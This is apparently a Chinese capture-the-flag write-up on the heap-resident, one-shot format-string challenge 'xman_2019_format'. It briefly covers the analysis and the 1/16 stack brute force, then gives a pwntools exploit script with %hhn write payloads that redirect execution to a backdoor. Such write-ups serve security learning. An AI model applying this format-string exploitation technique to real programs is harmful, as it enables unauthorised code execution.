xman_2019_format(非栈上格式化字符串仅一次利用的爆破)
首先检查一下程序的保护机制
然后用IDA分析一下
存在后门
首先malloc了一片堆空间,读入数据
把刚刚读入的数据当作格式化字符串传递给printf
这题就是考察格式话字符串不在栈上怎么利用,我们的想法就是利用栈上的数据。
首先我们把断点下在第一个printf的位置。
由于栈的地址是随机的,成功的几率大概是1/16
from pwn import *
context.log_level = 'debug'
p = process('./xman_2019_format')
#gdb.attach(p,'b *0x80485C4')
payload = '%12c%10$hhn' + '|%172c%18$hhn|'
payload += '%13c%10$hhn' + '|%133c%18$hhn'
#print len(payload)
p.send(payload)
p.interactive()